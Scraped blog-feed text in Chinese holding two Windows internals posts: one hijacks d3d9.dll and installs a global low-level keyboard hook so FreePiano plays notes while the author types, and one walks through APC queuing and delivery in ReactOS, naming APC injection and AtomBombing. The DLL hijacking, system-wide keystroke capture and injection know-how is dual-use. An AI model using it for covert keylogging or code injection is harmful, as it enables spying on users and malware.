转载请注明出处:https://anhkgg.github.io/wechat-multi-pc","tags":[{"name":"wechat","slug":"wechat","permalink":"https://anhkgg.github.io/tags/wechat/"},{"name":"handle","slug":"handle","permalink":"https://anhkgg.github.io/tags/handle/"},{"name":"patch","slug":"patch","permalink":"https://anhkgg.github.io/tags/patch/"}]},{"title":"让代码飞出一段钢琴曲(freepiano小助手)","date":"2017-05-01T07:11:42.000Z","path":"coding-piano-hook/","text":"概述突然想玩一下键盘弹曲子,就找到了freepiano,专业的东西不懂,就找了写简谱来玩玩,感觉挺不错的,哈哈~~ 玩疯了之后,突然想到,我平时写代码,是不是可以弹出一段曲子呢,是不是心情会变得非常好,代码也写的更有节奏呢~~ 说不定还搞出来一个什么《代码之歌》的钢琴曲~~ 嘎嘎 突然被自己这个想法吸引住了,不管咋样,每敲下代码的一个字符,后面想起了背景音乐,真是不错的,程序员也可以是“钢琴师”啊~~ 有了想法,就开整!!! 有下面几点问题: freepiano必须是激活窗口下,才能接受键盘输入 我要在写代码时,让freepiano响应按键,就需要全局劫持键盘输入了 怎么给freepiano通知,我按下了什么呢? 忘了说,freepiano长这样: 开搞先简单整理下思路: 首先肯定是弄个键盘钩子难道全局的所有键盘输入,暂定WH_KEYBOARD 怎么让钩子执行?弄个exe,把freepiano再启动起来,感觉麻烦,然后就想让freepiano加载我的模块吧,简单确认了一下,可行(后面具体描述) 劫持到键盘输入之后,通过PostMessage给freepiano发送键盘消息,模拟WM_KEYDOWN/WM_KEYUP 1. 加载我的模块首先想到的就是DLL劫持和修改freepiano的导入表,后者不够优雅,果断要选择dll劫持。 然后就用depends看了下freepiano的导入信息,发现几个可以劫持的(dsound.dll,d3d9.dll等),简单代码确认了一下,freepiano可以劫持这两个模块,选择了d3d9.dll(函数少)。 然后偷懒用了aheadlib导出了d3d9.dll的导出函数信息,简单方便,飞快得就搞定了劫持。 代码很简单,就贴一点(都不需要手写):1234567891011121314151617// 导出函数#pragma comment(linker, "/EXPORT:Direct3DShaderValidatorCreate9=_AheadLib_Direct3DShaderValidatorCreate9,@1")#pragma comment(linker, "/EXPORT:PSGPError=_AheadLib_PSGPError,@2")#pragma comment(linker, "/EXPORT:PSGPSampleTexture=_AheadLib_PSGPSampleTexture,@3")...// 导出函数ALCDECL AheadLib_Direct3DShaderValidatorCreate9(void){ // 保存返回地址 __asm POP m_dwReturn[0 * TYPE long]; // 调用原始函数 GetAddress("Direct3DShaderValidatorCreate9")(); // 转跳到返回地址 __asm JMP m_dwReturn[0 * TYPE long];} 一试,OK,模块起来了,freepiano正常工作。 ) 2. 安装钩子选择了安装全局WH_KEYBOARD钩子,这个代码网上也太多了,就不细说了,看看就行1234567891011121314151617181920212223242526//安装钩子BOOL Hook(HMODULE hMod){ g_Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hMod, 0); return g_Hook?TRUE:FALSE;}//卸载钩子VOID Unhook(){ if(g_Hook) { UnhookWindowsHookEx(g_Hook); }}//钩子函数,劫持键盘消息LRESULT CALLBACK KeyboardProc( int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ){ if(code == HC_ACTION) { SendKeyMsg(wParam, lParam); } return CallNextHookEx(g_Hook, code, wParam, lParam);} 3. 发送按键信息给freepiano首先想到的就是在钩子函数里给freepiano发送WM_KEYDOWN/WM_KEYUP消息就行了。 先找到freepiano的窗口,spy++上,找到窗口标题和类型信息,然后代码:123456789HWND hwnd = FindWindow("FreePianoMainWindow", "Wispow Freepiano 2");if(hwnd == NULL){ hwnd = FindWindow("FreePianoMainWindow", NULL); if(hwnd == NULL) { hwnd = FindWindow(NULL, "Wispow Freepiano 2"); }} 然后就是发消息:12345678910111213if(hwnd){ SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE); if(keydown) { keydown = false; PostMessage(hwnd, WM_KEYDOWN, wParam, lParam); }else { keydown = true; PostMessage(hwnd, WM_KEYUP, wParam, lParam); }} 测试,失败了,没有预想的效果。 分析原因: Post发送消息失败。但是通过spy++抓消息看到freepiano是收到了消息的。那就不是这个原因。 freepiano校验了窗口是否激活?然后就用上面每次置顶试了一下,依然不行。 freepiano使用了GetKeyState之类的函数检查按键状态,通过ida简单看了一下导入表,没有相关函数(没有深究是否显示导入了)。 用ida看了下freepiano的窗口消息处理,看是否有什么过滤 123456789v7.lpfnWndProc = (WNDPROC)xxx_main_wndproc_41D070; //窗口响应函数v7.cbClsExtra = 0;v7.cbWndExtra = 0;v7.hInstance = GetModuleHandleA(0);v7.hIcon = LoadIconA(v1, (LPCSTR)0xA);v7.hCursor = 0;v7.hbrBackground = 0;v7.lpszMenuName = 0;v7.lpszClassName = "FreePianoMainWindow"; 然后发现居然没有对WM_KEYDOWN/WM_KEYUP/WM_CHAR之类的消息进行处理,那是怎么接受的按键信息 继续用ida看是否有钩子之类的处理,果然,导入表中明晃晃的SetWindowsHookEx,进入一看,一个WM_KEYBOARD_LL局部钩子 进钩子函数一下,各种按键状态记录的处理,不深究了。基本确认他使用这种方式来接受按键信息。 12345678910111213v6 = (unsigned __int8)byte_4F6DC8[scanCode]; if ( (unsigned int)(v6 - 1) > 0x6A ) goto LABEL_23; if ( (unsigned __int8)byte_4F6ED0[v6] != pressed_0 ) { byte_4F6ED0[v6] = pressed_0; sub_449B20(v6, pressed_0 != 0); } if ( (_BYTE)dword_4F6DC0 || BYTE1(dword_4F6DC0) && (v6 == 'D' || v6 == 'H') || BYTE2(dword_4F6DC0) && (byte_4F6F15 || byte_4F6F17) && v6 == 28 ) result = 1; else 4. 改变策略那就不能直接PostMessage发送消息了。 修改我的钩子为WM_KEYBOARD_LL全局键盘钩子,消息和freepiano完全一样了 1g_Hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hMod, 0); 钩子函数通过WM_COPYDATA打包数据,发送给freepiano 1234567891011121314151617181920212223242526272829LRESULT CALLBACK LowLevelKeyboardProc( int nCode, // hook code WPARAM wParam, // message identifier LPARAM lParam // message data ){ COPYDATASTRUCT CopyData = {0}; KeyboardLL_Msg Msg = {0}; Msg.nCode = nCode; Msg.wParam = wParam; memcpy(&Msg.lParam, (char*)lParam, sizeof(KBDLLHOOKSTRUCT)); CopyData.cbData = sizeof(KeyboardLL_Msg); CopyData.dwData = 0; CopyData.lpData = &Msg; HWND hwnd = FindFreepiano(); if(hwnd) { BOOL ret = SendMessage(hwnd, WM_COPYDATA, (WPARAM)hwnd, (LPARAM)&CopyData); } return CallNextHookEx(g_Hook, nCode, wParam, lParam);}typedef struct _KeyboardLL_Msg{ int nCode; WPARAM wParam; KBDLLHOOKSTRUCT lParam;}KeyboardLL_Msg, *PKeyboardLL_Msg; 通过SetWindowLong挂钩freepiano的窗口响应函数,增加处理WM_COPYDATA,来接受全局键盘信息,找到freepiano的钩子函数地址A,然后接受到WM_COPYDATA之后,直接调用A,把键盘信息给freepiano 通过一个线程,循环查找freepianp窗口(可能还没起来),然后hook窗口响应函数1234567891011121314151617void HookWinProc(){ while(1) { HWND hwnd = FindFreepiano(); if(hwnd) { g_WndProc = (pfn_WindProc)GetWindowLong(hwnd, GWL_WNDPROC); if(g_WndProc) { SetWindowLong(hwnd, GWL_WNDPROC, (LONG)fakeWindowProc); break; } } Sleep(10); }} 自己的函数中加入对WM_COPYDATA的消息处理,调用freepiano的钩子函数g_LowLevelKeyboardProc发键盘消息过去。 1234567891011121314151617181920LRESULT WINAPI fakeWindowProc( HWND hWnd, // handle to window UINT Msg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ){ if(Msg == WM_COPYDATA) { COPYDATASTRUCT* CopyData = (COPYDATASTRUCT*)lParam; //if(CopyData->cbData == sizeof(KeyboardLL_Msg)) { KeyboardLL_Msg* Msg = (KeyboardLL_Msg*)CopyData->lpData; g_LowLevelKeyboardProc(Msg->nCode, Msg->wParam, (LPARAM)&Msg->lParam); } } return g_WndProc(hWnd, Msg, wParam, lParam);} g_LowLevelKeyboardProc地址这里使用硬编码,图方便12HMODULE hExe = GetModuleHandle(NULL);g_LowLevelKeyboardProc = (pfn_LowLevelKeyboardProc)((DWORD)hExe + (DWORD)g_LowLevelKeyboardProc); 功能到这里基本搞定。 总结测试通过。 手指立马不受控制的在编辑器里、浏览器、文件浏览器里各种按键,然后耳边响起了悠扬(忽略乱打的节奏的话)的钢琴声~~ 可能的优化: 加入进程名单控制,不想在某些进程中听到琴声 代码优化~~ 有兴趣的同学可以去折腾,我这里就不继续了~~ 转载请注明出处:http://anhkgg.github.io/coding-piano-hook","tags":[{"name":"WM_KEYBOARD_LL","slug":"WM-KEYBOARD-LL","permalink":"https://anhkgg.github.io/tags/WM-KEYBOARD-LL/"},{"name":"HOOK","slug":"HOOK","permalink":"https://anhkgg.github.io/tags/HOOK/"},{"name":"freepiano","slug":"freepiano","permalink":"https://anhkgg.github.io/tags/freepiano/"},{"name":"inject","slug":"inject","permalink":"https://anhkgg.github.io/tags/inject/"}]},{"title":"小Win,点一份APC(Apc机制详解)(一)","date":"2017-04-28T10:20:47.000Z","path":"win-apc-analyze1/","text":"翻开翻开小Win的菜单,APC赫然在目… 做工讲究,味道不错,是小Win的热门菜,我们点一来尝尝! 吃了可以做很多事情… APC注入 APC注入 APC注入 … 细节来自于ReactOS源码分析。 如果对这个发神经的文风有任何不适,请谅解,因为我确实神经了 来一份APCring3这么做的点APC的正确姿势是使用QueueUserApc,不走寻常路的也可以使用NtQueueApcThread 1234567891011DWORD WINAPI QueueUserApc(PARCFUNC pfnApc, HANDLE hThread, ULONG_PTR dwData);{ NtQueueApcThread(hThread, IntCallUserApc, pfnApc, dwData, NULL); }NTSTATUS NTAPI NtQueueApcThread(IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINUE ApcRoutine, IN PVOID NormalContext, //pfnApc IN PVOID SystemArgument1, //dwData IN PVOID SystemArgument2 ); 也就是QueueUserApc内部是NtQueueApcThread做的,两者区别不大,当然,使用后者可以字节加点调料(不使用IntCallUserApc、换成自己的函数,函数参数也可以有三个了,而PARCFUNC只有一个参数)。 小Win默认是通过统一的接口IntCallUserApc来调用的顾客指定的Apc函数。 12345static void CALLBACK IntCallUserApc(PVOID Function, PVOID dwData, PVOID Arg3){ ((PAPCFUNC)Function)(dwData);} ring0这么做的NtQueueApcThread经过系统调用进入到ring0,一般人是看不到了…,我也是一般人来着,下面努力变成二班的…。 1. 创建APC对象进了NtQueueApcThread,先通过KeInitializeApc初始化一个Apc对象12345678910/* Initialize the APC */KeInitializeApc(Apc, &Thread->Tcb, //KTHREAD OriginalApcEnvironment, PspQueueApcSpecialApc, NULL, ApcRoutine, UserMode, NormalContext); APC对象结构定义如下:123456789101112131415161718typedef struct _KAPC { UCHAR Type; //类型ApcObject UCHAR SpareByte0; UCHAR Size; //APC结构体大小 UCHAR SpareByte1; ULONG SpareLong0; struct _KTHREAD *Thread; //当前线程的KTHREAD LIST_ENTRY ApcListEntry; //当前线程的APC链表 PKKERNEL_ROUTINE KernelRoutine; // PKRUNDOWN_ROUTINE RundownRoutine; // PKNORMAL_ROUTINE NormalRoutine; // PVOID NormalContext; //用户定义的Apc函数 PVOID SystemArgument1; //用户Apc函数的参数 PVOID SystemArgument2;// CCHAR ApcStateIndex; //Apc状态 KPROCESSOR_MODE ApcMode; //Apc所处的Mode,UserMode/KernelMode BOOLEAN Inserted; //是否已经被插入队列} KAPC, *PKAPC, *RESTRICTED_POINTER PRKAPC; 根据KeInitializeApc传入参数,Apc被赋值如下: 12345678910111213141516171819Apc->KernelRoutine = PspQueueApcSpecialApc;Apc->RundownRoutine = NULL;Apc->NormalRoutine = ApcRoutine;//如果使用QueueUserApc,其实就是IntCallUserApcApc->NormalContext = NormalContext;//pfnApc;//用户指定的Apc函数Apc->Type = ApcObject;//如果参数指定的是CurrentApcEnvironment,直接赋值Thread->ApcStateIndexApc->ApcStateIndex = Thread->ApcStateIndex;//不是则Apc->ApcStateIndex = OriginalApcEnvironment;////如果参数ApcRoutine不是NULLApc->ApcMode = Mode;Apc->NormalContext = Context;//是NULLApc->ApcMode = KernelMode;Apc->NormalContext = NULL;Apc->Inserted = False; 其中关于ApcStateIndex有4中值,如下:123456789// APC Environment Types//typedef enum _KAPC_ENVIRONMENT{ OriginalApcEnvironment,//0 AttachedApcEnvironment,//1 CurrentApcEnvironment,//2 InsertApcEnvironment} KAPC_ENVIRONMENT; Apc->KernelRoutine总是有值的,被赋值为PspQueueApcSpecialApc,用于Apc结束时候释放Apc对象内存1234567891011VOIDNTAPIPspQueueApcSpecialApc(IN PKAPC Apc, IN OUT PKNORMAL_ROUTINE* NormalRoutine, IN OUT PVOID* NormalContext, IN OUT PVOID* SystemArgument1, IN OUT PVOID* SystemArgument2){ /* Free the APC and do nothing else */ ExFreePool(Apc);} 2. 插入APC队列通过KeInsertQueueApc插入队列,在队列中等待被上菜… 1234KeInsertQueueApc(Apc, SystemArgument1, SystemArgument2, IO_NO_INCREMENT)) 确认Apc未被插入,Thread->ApcQueueable为真 Apc->Inserted = True 然后通过KiInsertQueueApc插入队列,可能通过软中断或者唤醒线程得到执行Apc的机会 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263VOIDFASTCALLKiInsertQueueApc(IN PKAPC Apc, IN KPRIORITY PriorityBoost){ if (Apc->ApcStateIndex == InsertApcEnvironment) { Apc->ApcStateIndex = Thread->ApcStateIndex; } //PKAPC_STATE ApcStatePointer[2];//说明ApcStateIndex只能是 //OriginalApcEnvironment,//0 //AttachedApcEnvironment,//1 //从Thread的ApcStatePointer取出对应的ApcState ApcState = Thread->ApcStatePointer[(UCHAR)Apc->ApcStateIndex]; ApcMode = Apc->ApcMode; ASSERT(Apc->Inserted == TRUE); /* 插入队列的三种方式: * 1) Kernel APC with Normal Routine or User APC = Put it at the end of the List * 2) User APC which is PsExitSpecialApc = Put it at the front of the List * 3) Kernel APC without Normal Routine = Put it at the end of the No-Normal Routine Kernel APC list */ //PsExitSpecialApc if (Thread->ApcStateIndex == Apc->ApcStateIndex) { if(当前线程 ) { if(KernelMode) { Thread->ApcState.KernelApcPending = TRUE; if (!Thread->SpecialApcDisable) { //中断线程当前执行六?? /* They're not, so request the interrupt */ HalRequestSoftwareInterrupt(APC_LEVEL); } } } else { if(KernelMode) { Thread->ApcState.KernelApcPending = TRUE; if (Thread->State == Running) HalRequestSoftwareInterrupt(APC_LEVEL); else if(一堆条件){ KiUnwaitThread(Thread, Status, PriorityBoost);//唤醒线程 } } else { if ((Thread->State == Waiting) && (Thread->WaitMode == UserMode) && ((Thread->Alertable) || // (Thread->ApcState.UserApcPending))) { /* Set user-mode APC pending */ Thread->ApcState.UserApcPending = TRUE; Status = STATUS_USER_APC; KiUnwaitThread(Thread, Status, PriorityBoost);//唤醒线程 } } } }} 先不管Apc是怎么得到执行的,来看看KAPC_STATE 12345678typedef struct _KAPC_STATE{ LIST_ENTRY ApcListHead[2];//UserMode/KernelMode的两个链表 struct _KPROCESS *Process; BOOLEAN KernelApcInProgress; BOOLEAN KernelApcPending; //等待执行 BOOLEAN UserApcPending; //等待执行} KAPC_STATE, *PKAPC_STATE, *RESTRICTED_POINTER PRKAPC_STATE; 其中ApcListHead保存了线程的两个Apc链表,分别对应UserMode和KernelMode。 Thread->ApcState表示当前需要执行的ApcState,可能是挂靠进程的 Thread->SavedApcState表示挂靠后保存的当前线程的ApcState, KTHREAD的ApcStatePointer[2]字段保存了两个ApcState的指针 具体看下面的代码 12345678910111213141516171819202122232425262728KeAttachProcess->VOIDNTAPIKiAttachProcess(IN PKTHREAD Thread, IN PKPROCESS Process, IN PKLOCK_QUEUE_HANDLE ApcLock, IN PRKAPC_STATE SavedApcState //&Thread->SavedApcThread ){/* Swap the APC Environment */ KiMoveApcState(&Thread->ApcState, SavedApcState); //把当前ApcState保存到SavedApcState /* Reinitialize Apc State */ InitializeListHead(&Thread->ApcState.ApcListHead[KernelMode]); InitializeListHead(&Thread->ApcState.ApcListHead[UserMode]); Thread->ApcState.Process = Process; Thread->ApcState.KernelApcInProgress = FALSE; Thread->ApcState.KernelApcPending = FALSE; Thread->ApcState.UserApcPending = FALSE; /* Update Environment Pointers if needed*/ if (SavedApcState == &Thread->SavedApcState) { Thread->ApcStatePointer[OriginalApcEnvironment] = &Thread-> SavedApcState;// Thread->ApcStatePointer[AttachedApcEnvironment] = &Thread->ApcState; Thread->ApcStateIndex = AttachedApcEnvironment; //index变成了AttachedApcEnvironment } 来一个结构图 上菜吃饭Apc已经点了,什么时候才能端上来呢?我们接着看… Apc投递 线程wait、线程切换到应用层、线程被挂起等,一旦线程有空隙了,windows就会把apc队列顺便执行一遍 搜索NormalRoutine和KernelRoutine字段,找到KiDeliverApc,这个函数是具体分发Apc的函数 12345678910VOIDNTAPIKiDeliverApc(IN KPROCESSOR_MODE DeliveryMode, IN PKEXCEPTION_FRAME ExceptionFrame, IN PKTRAP_FRAME TrapFrame) * @remarks First, Special APCs are delivered, followed by Kernel-Mode APCs and * User-Mode APCs. Note that the TrapFrame is only valid if the * delivery mode is User-Mode. * Upon entry, this routine executes at APC_LEVEL. 那在哪里调用的KiDeliverApc的呢,找到多处 123456789101112131415161718192021//hal\\halx86\\generic\\irq.S.globl _HalpApcInterrupt2ndEntry.func HalpApcInterrupt2ndEntry]//hal\\halx86\\generic\\irql.cVOID HalpLowerIrql(KIRQL NewIrql);//暂时忽略上面两个了//ke\\i386\\trap.s.func KiServiceExit_KiServiceExit: /* Disable interrupts */ cli /* Check for, and deliver, User-Mode APCs if needed */ CHECK_FOR_APC_DELIVER 1 // /* Exit and cleanup */ TRAP_EPILOG FromSystemCall, DoRestorePreviousMode, DoNotRestoreSegments, DoNotRestoreVolatiles, DoRestoreEverything.endfunc 根据《windows内核情景分析》介绍, 执行用户APC的时机在从内核返回用户空间的途中(可能是系统调用、中断、异常处理之后需要返回用户空间) 也就是肯定会经过_KiServiceExit,那就跟着来看看吧。 CHECK_FOR_APC_DELIVER宏 检查是不是需要投递Apc,具体检查trapframe是不是指向返回用户模式的,是则继续检查用户模式Apc是否需要投递。参数:ebp = PKTRAP_FRAME,PreserveEax trap_frame.Eflags == EFLAGS_V86_MASK,运行在V86模式,不检查是否是用户模式的trap_frame trap_frame.Segcs != 1(KernelMode),表示是用户模式 kthread = PCR[KPCR_CURRENT_THREAD],kthread.alerted = 0,置为不可唤醒 kthread->ApcState.UserApcPending 是FALSE,啥也不做,TRUE才进行投递 如果PreserveEax=1,保存eax,保存一些IRQL提升会清除的信息到trap_frame,fs,ds,es,gs 提示irql到APC_LEVEL 调用KiDeliverApc(UserMode, 0, trap_frame); 恢复irql 如果PreserveEax=1,恢复eax TRAP_EPILOG是自陷处理,参数:ebp = PKTRAP_FRAME // This macro creates an epilogue for leaving any system trap.// It is used for exiting system calls, exceptions, interrupts and generic// traps. 通过TrapFrame恢复一堆寄存器、堆栈信息,然后sysexit回到用户态空间 继续看一下调用KiDeliverApc内部究竟是怎么处理的 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495KiDeliverApc(IN KPROCESSOR_MODE DeliveryMode, IN PKEXCEPTION_FRAME ExceptionFrame, IN PKTRAP_FRAME TrapFrame) //系统空间堆栈的“自陷框架”{//1. 保存原来的trap_frameOldTrapFrame = Thread->TrapFrame;Thread->TrapFrame = TrapFrame;/* Clear Kernel APC Pending */Thread->ApcState.KernelApcPending = FALSE;/* Check if Special APCs are disabled */if (Thread->SpecialApcDisable) goto Quickie;//2. 先投递内核Apc,循环投递队列中所有的内核apc,不涉及切换到用户空间while (!IsListEmpty(&Thread->ApcState.ApcListHead[KernelMode])){ //Thread->ApcQueueLock加锁访问 //取出一个Apc ApcListEntry = Thread->ApcState.ApcListHead[KernelMode].Flink; Apc = CONTAINING_RECORD(ApcListEntry, KAPC, ApcListEntry); NormalRoutine = Apc->NormalRoutine; KernelRoutine = Apc->KernelRoutine; NormalContext = Apc->NormalContext; SystemArgument1 = Apc->SystemArgument1; SystemArgument2 = Apc->SystemArgument2; //特殊Apc,特指内核Apc,但是Apc的NormalRoutine是空的 if (!NormalRoutine) { //将Apc出队列,然通过KernelRoutine调用内核Apc响应函数 KernelRoutine(Apc, &NormalRoutine, &NormalContext, &SystemArgument1, &SystemArgument2); } else { //普通的内核Apc if ((Thread->ApcState.KernelApcInProgress) || (Thread->KernelApcDisable)) { //退出,必须安全才会投递 } ////将Apc出队列,然通过KernelRoutine调用内核Apc响应函数 KernelRoutine(Apc, &NormalRoutine, //内部可能修改NormalRoutine &NormalContext, &SystemArgument1, &SystemArgument2); //如果NormalRoutine依然不为空,在调用NormalRoutine if (NormalRoutine) { /* At Passive Level, an APC can be prempted by a Special APC */ Thread->ApcState.KernelApcInProgress = TRUE; KeLowerIrql(PASSIVE_LEVEL); //将到PASSIVE_LEVEL执行 /* Call and Raise IRQ back to APC_LEVEL */ NormalRoutine(NormalContext, SystemArgument1, SystemArgument2); KeRaiseIrql(APC_LEVEL, &ApcLock.OldIrql); } Thread->ApcState.KernelApcInProgress = FALSE; //继续循环 }}//3. 投递完内核apc,如果KiDeliverApc目标是用户apc,那么继续投递用户apc//每次值投递一个User mode Apcif ((DeliveryMode == UserMode) && !(IsListEmpty(&Thread->ApcState.ApcListHead[UserMode])) && (Thread->ApcState.UserApcPending)) //TRUE { Thread->ApcState.UserApcPending = FALSE; //取出第一个Apc //先调用他的KernelRoutine KernelRoutine(Apc, &NormalRoutine, &NormalContext, &SystemArgument1, &SystemArgument2); /* Check if there's no normal routine */ if (!NormalRoutine) { /* Check if more User APCs are Pending */ KeTestAlertThread(UserMode); } else { /* Set up the Trap Frame and prepare for Execution in NTDLL.DLL */ //不是直接调用NormalRoutine,因为他是用户太的函数,需要切换到用户空间才能执行 KiInitializeUserApc(ExceptionFrame, TrapFrame, NormalRoutine, NormalContext, SystemArgument1, SystemArgument2); } } 根据注释应该很清楚deliver的逻辑了,还是在看张图 CHECK_FOR_APC_DELIVER用户态Apc的delvier有个重点,Thread->ApcState.UserApcPending必须是TRUE,那什么时候才会是TRUE,我蛮来看看 在KiInsertQueueApc,如果线程等待,且Alertable是TRUE123456789101112else if ((Thread->State == Waiting) && (Thread->WaitMode == UserMode) && ((Thread->Alertable) || // (Thread->ApcState.UserApcPending))) { /* Set user-mode APC pending */ Thread->ApcState.UserApcPending = TRUE; Status = STATUS_USER_APC; goto Unwait; }``` 2. KiCheckAlertability中(wrk中是TestForAlertPending) FORCEINLINENTSTATUSKiCheckAlertability(IN PKTHREAD Thread, IN BOOLEAN Alertable, IN KPROCESSOR_MODE WaitMode){ / Check if the wait is alertable / if (Alertable) { / It is, first check if the thread is alerted in this mode / if (Thread->Alerted[WaitMode]) { / It is, so bail out of the wait / Thread->Alerted[WaitMode] = FALSE; return STATUS_ALERTED; } else if ((WaitMode != KernelMode) && (!IsListEmpty(&Thread->ApcState.ApcListHead[UserMode]))) { / It’s isn’t, but this is a user wait with queued user APCs / Thread->ApcState.UserApcPending = TRUE; return STATUS_USER_APC;123456两种情况都需要Alertable = TRUE,这个字段表示线程是唤醒的,也就是说只有可唤醒的线程,才能拿投递他的用态APC,否则不会> SleepEx, WaitForSingleObject,WaitForMultipleObjects都可以设置线程为Alertable接着继续看看`KiInitializeUserApc`是怎么切换到用户空间执行的用户态函数 VOIDNTAPIKiInitializeUserApc(IN PKEXCEPTION_FRAME ExceptionFrame, IN PKTRAP_FRAME TrapFrame, IN PKNORMAL_ROUTINE NormalRoutine, IN PVOID NormalContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2){ //V86模式下,不投递 /* Save the full context */ Context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; KeTrapFrameToContext(TrapFrame, ExceptionFrame, &Context); //检查不是KernleMode ASSERT((TrapFrame->SegCs & MODE_MASK) != KernelMode); ... /* Get the aligned size */ AlignedEsp = Context.Esp & ~3;//来自于TrapFrame.HardwareEsp或TempEsp //Context和4个参数的长度 ContextLength = CONTEXT_ALIGNED_SIZE + (4 * sizeof(ULONG_PTR)); //将原始堆栈扩展ContextLength,用来保存Context和参数 Stack = ((AlignedEsp - 8) & ~3) - ContextLength; /* Probe the stack */ ProbeForWrite((PVOID)Stack, AlignedEsp - Stack, 1); ASSERT(!(Stack & 3)); /* Copy data into it */ //(4 * sizeof(ULONG_PTR)))是后面4个参数的位置,然后接着拷贝Context,将老的TrapFrame内容拷贝到用户太堆栈中 RtlCopyMemory((PVOID)(Stack + (4 * sizeof(ULONG_PTR))), &Context, sizeof(CONTEXT)); /* Run at APC dispatcher */ TrapFrame->Eip = (ULONG)KeUserApcDispatcher; //KeUserApcDispatcher保存的其实就是KiUserApcDispatcher,是用户空间函数 TrapFrame->HardwareEsp = Stack;//栈顶 /* Setup Ring 3 state */ TrapFrame->SegCs = Ke386SanitizeSeg(KGDT_R3_CODE, UserMode); TrapFrame->HardwareSegSs = Ke386SanitizeSeg(KGDT_R3_DATA, UserMode); TrapFrame->SegDs = Ke386SanitizeSeg(KGDT_R3_DATA, UserMode); TrapFrame->SegEs = Ke386SanitizeSeg(KGDT_R3_DATA, UserMode); TrapFrame->SegFs = Ke386SanitizeSeg(KGDT_R3_TEB, UserMode); TrapFrame->SegGs = 0; TrapFrame->ErrCode = 0; /* Sanitize EFLAGS */ TrapFrame->EFlags = Ke386SanitizeFlags(Context.EFlags, UserMode); /* Check if thread has IOPL and force it enabled if so */ if (KeGetCurrentThread()->Iopl) TrapFrame->EFlags |= 0x3000; /* Setup the stack */ *(PULONG_PTR)(Stack + 0 * sizeof(ULONG_PTR)) = (ULONG_PTR)NormalRoutine; *(PULONG_PTR)(Stack + 1 * sizeof(ULONG_PTR)) = (ULONG_PTR)NormalContext; *(PULONG_PTR)(Stack + 2 * sizeof(ULONG_PTR)) = (ULONG_PTR)SystemArgument1; *(PULONG_PTR)(Stack + 3 * sizeof(ULONG_PTR)) = (ULONG_PTR)SystemArgument2; ... }1234567执行流程根据注释应该很清楚了,这里要解释一下TrapFrame。> CPU进入啮合之后,内核堆栈就会有个TrapFrame,保存的是用户空间的线程(因进入内核原因不同,可能是自陷、中断、异常框架,都是一样的结构)。CPU返回用户空间时会使用这个TrapFrame,才能正确返回原理啊的断点,并回复寄存器的状态> 这里为了让Apc返回到用户空间执行,就会修改这个TrapFrame,原来的TrapFrame就需要保存,这里保存在了用户空间堆栈中(CONTEXT)> 执行完Apc函数之后,执行一个NtContinue,将这个CONTEXT作为参数,这样保存的TrapFrame就会还原到原来的状态,然后CPU又能正常回之前的用户空间了。KiDeliverApc完了之后,回到_KiServiceExit,会使用被修改过的TrapFrame回到用户空间,执行指定的`KiUserApcDispatcher`(ntdll提供) //更具这个执行KiUserApcDispatcherTrapFrame->Eip = (ULONG)KeUserApcDispatcher; //其实就是KiUserApcDispatcher,是用户空间函数TrapFrame->HardwareEsp = Stack;//栈顶 .func KiUserApcDispatcher@16.globl _KiUserApcDispatcher@16_KiUserApcDispatcher@16: /* Setup SEH stack */ lea eax, [esp+CONTEXT_ALIGNED_SIZE+16];原始堆栈的位置,SEH mov ecx, fs:[TEB_EXCEPTION_LIST] mov edx, offset _KiUserApcExceptionHandler mov [eax], ecx mov [eax+4], edx /* Enable SEH */ mov fs:[TEB_EXCEPTION_LIST], eax /* Put the Context in EDI */ pop eax;弹出第一个参数 lea edi, [esp+12];context的位置 /* Call the APC Routine */ call eax //调用IntCallUserApc /* Restore exception list */ mov ecx, [edi+CONTEXT_ALIGNED_SIZE] mov fs:[TEB_EXCEPTION_LIST], ecx /* Switch back to the context */ push 1 push edi;Context call _ZwContinue@8 //正常是不会返回的 /* Save callback return value */ mov esi, eax /* Raise status */ StatusRaiseApc: push esi call _RtlRaiseStatus@4 //如果ZwContinue失败了,这里处理 jmp StatusRaiseApc ret 16.endfunc1234567`KiUserApcDispatcher`其实挺简单的,通过esp弹出APc函数,然后调用,就进入了IntCallUserApc,## 恢复TrapFrame执行完成后,调用_ZwContinue(Context, 1),回到内核回复之前修改TrapFrame,也会重新检查是否有Apc需要投递,有则继续投递,重复上面的步骤,直到没有了则可以回到之前被中断的用户态的断点处。 .func NtContinue@8_NtContinue@8: /* NOTE: We -must- be called by Zw* to have the right frame! */ /* Push the stack frame */ push ebp ; 指向本次调用的自陷框架,记为T1 /* Get the current thread and restore its trap frame */ mov ebx, PCR[KPCR_CURRENT_THREAD] mov edx, [ebp+KTRAP_FRAME_EDX] mov [ebx+KTHREAD_TRAP_FRAME], edx;thread->TrapFrame = edx /* Set up stack frame */ mov ebp, esp ; ESP指向新的框架(函数调用框架) /* Save the parameters */ mov eax, [ebp+0] ; 原来的EBP,就是自陷框架指针,就是T1 mov ecx, [ebp+8] ; Context /* Call KiContinue */ push eax ;TrapFrame push 0 ;ExceptionFrame push ecx ;Context call _KiContinue@12 ; 将Context恢复到T1中 /* Check if we failed (bad context record) */ or eax, eax jnz Error /* Check if test alert was requested */ cmp dword ptr [ebp+12], 0 je DontTest /* Test alert for the thread */ mov al, [ebx+KTHREAD_PREVIOUS_MODE] push eax call _KeTestAlertThread@4 ; 检查用户模式APC队列是否为空,不空将UserApcPending置为TRUE DontTest: / Return to previous context / pop ebp mov esp, ebp jmp _KiServiceExit2 ; 本质和_KiServiceExit相同,如果还有用户APC,会继续投递,直到投递完,才会回到用户被中断的点 Error: pop ebp mov esp, ebp jmp _KiServiceExit.endfunc ``` 下面将_KiServiceExit到IntCallUserApc的流程总结一下: 到这里,终于执行到了用户的Apc函数。 结账走人到这,APC流程基本弄清楚了。 下一篇将结合APC机制分析一下最近比较新的AtomBombing注入技术的详细实现和各个细节。 参考 Reactos内核情景源码分析 线程的Alertable与User 